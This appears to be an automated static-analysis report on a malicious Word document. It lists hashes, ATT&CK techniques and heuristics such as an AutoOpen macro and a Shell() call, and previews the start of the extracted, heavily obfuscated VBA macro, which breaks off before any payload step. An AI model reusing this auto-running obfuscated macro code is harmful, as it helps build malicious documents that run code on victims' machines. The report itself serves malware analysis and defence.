Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 108dcfc6e608aa73…

MALICIOUS

Office (OLE)

128.2 KB Created: 2018-09-28 14:29:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 866bfde58757fdc23e255ff1d9ecfd63 SHA-1: 2f8152b985777db4af7f56ebbd09048b3b5724a9 SHA-256: 108dcfc6e608aa735db8c94705164435ebb17d29dea352ba78bdb9547c7e7db3
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. This is further supported by the ClamAV detection, suggesting the macro is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700703-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700703-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72478 bytes
SHA-256: 73a2fc6da7577740297642af31fa15583abf29d561c5593050c7b23befd786a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aQDwoqNjHmZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim osfFcV(1)
osfFcV(0) = InStr(QwBcvQL + obWjKGmDUCGlbUGmP + UQJzBtkm, ZzwWXw + ZSZAMilQBbKZuKuWKINC + dajHODXc) + InStrRev(fUTEfOKc + QzioERZTZMPiDFkB + hUEfZ, qvwkU + ivrCwlwfdPMMJZbkGii + fcPiY) + InStrRev(vBdEHNh + FZoaPbjOmYAvzVhXW + kEBTLj, vrYXBJ + tSAjUmCTBhEmjqpokZwA + uqjkMw) + InStr(VnEVm + CiHKBMhPrhLUFazVZvVi + uvQsF, tqhqo + BMazsinSvpmMQhAIIG + XbjcSd)
   Dim GUJHPk(1)
GUJHPk(0) = InStrRev(zznGYS + nQOiTwoWOTYbFhiCIiEr + cDuVd, tYZRKPbK + lBQSwrIqVPMAAUqsua + WfCjQTAb) + InStrRev(USpzrdM + nzjhXrJvkRlntnwKzppuY + RjDdMjQ, zpziq + FqarhjDDhBiDIwsZIFR + VZnJEpR)
   Dim YIWfpw(2)
YIWfpw(0) = InStrRev(vIimBW + wRQtVSvkMqLAuLDHPCTjt + GCFKjGPz, SNOGMlVd + PBflawPSchXRaLtikvDHiaz + CQwGl) + InStrRev(FWUjirz + RuwovHUzXzMKdJPP + bmivFWK, swCzMjBA + JdINlSMJGYciUINtpzwEz + KvoibJKj) + InStr(SYwctBBK + PhQWXnOlNZIIQjifOR + hXkRQwvv, NjcfSGn + uIZJoJUdWfKzNinWqSpSfh + jkOXr) + InStrRev(IqHNvH + bYOQNWwSTQMdEqSFosGwn + FsblrOu, tRRIhm + EbzsDzNmBHaUabSAVhcBR + zcKKYBEK)
YIWfpw(1) = InStrRev(wlBtN + NmYtTqYQlSOcZiCkbSdG + fPUwP, iNofF + mLmHQlwlPXnqcjjCjnaiZ + LjOlCJS) + InStrRev(PfWpkNMd + cQfKRFwMpLhMaQEANOV + IQNqRVb, zYNfVzj + FimiTDKzIcrwBCAr + rOOHNiZ)
   Dim ijDzrw(1)
ijDzrw(0) = InStrRev(Aafil + tjzmQEoSoWIwNPjDs + KHthI, sGjifQXq + KZvkJpGaBMPzutWssj + waimZGJb) + InStrRev(csTRPBm + hCidIBlXBznUCZbhPzQ + iVpicdUF, azRwZ + VmZZzIptFaEobRwnMGIthr + cchNB) + InStrRev(diAPhMz + YtBzjUcwlYsshwwN + rYHNzmb, aMVwVn + fTHEPQYslIijPmhUtliW + iKLMO) + InStrRev(qwRtI + IjVhBTrLaBboSzzOChFNfC + rlwsL, LKQBU + BzkKnmtjVwuiWpfoQ + MhqkjHnw)
   Dim TjFcFm(2)
TjFcFm(0) = InStr(ZEYAq + OzTIvjvLFlrNZpP + NbDQjPt, vkjwD + JsDSkkuTKEPLisizmvCY + TvQVFj) + InStr(hQzMftch + ZLdEVNznDMjHUXoiBOdA + OkYNpWF, wUnPa + RTAfwIpicnDfiGaHcb + hGUCVC) + InStrRev(ObjzK + fFHjiNjCXBKjpSZvTZdGHmQ + bzkmKP, VsrKz + iUshLvBFPhRBzzlKbkmP + uRDBAk) + InStr(tbnujQ + MfWdztWwZZnsEsPQ + lFiLwIXM, VhBYHsW + OhEaKstiiCUzbZsRAli + qEGbclLW)
TjFcFm(1) = InStrRev(QPjiTi + odzOWjzhAETQJkGbRR + fZjhMu, nzVqjv + XDfEKRajrXuNDlwTomBM + cRWutsN) + InStrRev(EOmsMN + BVWALkLwZcnvWSiAEFnz + owXMwtFp, qjlRj + vSkTdhKadMufMNWlnL + XwtWzvj) + InStrRev(tishZT + ABYQsvmVUYuvvmNVk + OuMsAw, ntLUnJbQ + VjibHYXYwvLFcndDzu + jjijbj) + InStrRev(VjSOcs + qUdYZtbjPKWzMiHwudmzn + ZbfMdkA, fRCrnE + MYiXJLTIusXpBzU + WlaVFz)
   Dim ifSAp(2)
ifSAp(0) = InStrRev(VIQhTOuw + XzLZwMuolWTwhwnJzutoD + ChJiI, AGsNijTZ + UcCMiRlGnsZiXpJLl + iUvbDoz) + InStr(ZosTbzwU + wBFGacjGqJOTvhQHhcozz + lpjXsoP, aYOVw + qQfLVzcSjNOPICpruZjwVw + QZSvJNt) + InStrRev(RHPnNCF + BizYQafaIHSKKLEzlEBV + qjaEhX, tzvnsJs + mkqQHTcBwFaXAEZtFCtlc + PAXSuH) + InStrRev(OkVDj + bfYYLwmznjwtzNkq + FjDzEV, SBqHzb + DUuSOYLJLBUlIHnVwUbHB + jmsqLZ)
ifSAp(1) = InStrRev(JPwLEhE + sTRmKhwzFRscMAsrTS + ozwDwvj, cmOhtbVE + zTOtjCCEpMYVrmMiBDbR + qwMNZW) + InStr(cBIaGR + rfwfEQXpoJasmXdqEqqiSZ + qjCjudIM, tLZbWw + MhpdFlbwDBBjGjFPIOz + bkvSQdT) + InStrRev(FNRENdQD + EKulnFCRhcwOzOBKKSjIIbt + TcwFwQ, hwHNOj + QGwUpHZsHPlKtRk + iXCwRwUX) + InStr(wjhwsUvT + UZMoAOwnNvNctEz + rkqvLfoE, wzHTUJLN + jXjVBbTUzPvQjiQdVV + zOzWn)
   Dim MNsOO(1)
MNsOO(0) = InStrRev(zrMnww + fhlMkGdZjjBESmStqdWsYB + NwMjRzPv, HSJjoa + iQjEFwjoUJoMSPbEzP + XTlhAjHp) + InStr(qXGHJs + LJvliwErTNSaaIlTQ + jiNbVn, GipvD + lodkvsnchYwjwXXpdQYDnJ + NijjOjj) + InStr(qfkisCot + aMiKrYNQNkpbzLazJQzbahS + kNjJq, UfUoLB + JMAEmSEwwnaIcZlCjQ + zIbrudD) + InStrRev(AwRNh + tRJnNsviXswjlfmAv + XatKfac, uMlJOGqN + fIXloLRMlbjRuitCXST + zCopUip)
   Dim hqBuI(2)
hqBuI(0) = InStrRev(VtsEU + aDjVDlaucmYUmGDaARYtWdw + WkQBZJ, QBjHs + ZIjwOqwQujcKrHCN + LkzLPumu) + InStr(IdSUOu + wjoAHpVBGJcEiNXjnz + BLbbz, wzJjPqLL + futjkOdMMHqKidmofN + NKMSVPZ) + InStrRev(taHFa + kMwmWhnzOkNwvwHfW + sOmRF, CPDGVES + QfEYTGiMfviIzvaUkzEbID + hGCSfjEr) + InStrRev(zpljav +
... (truncated)

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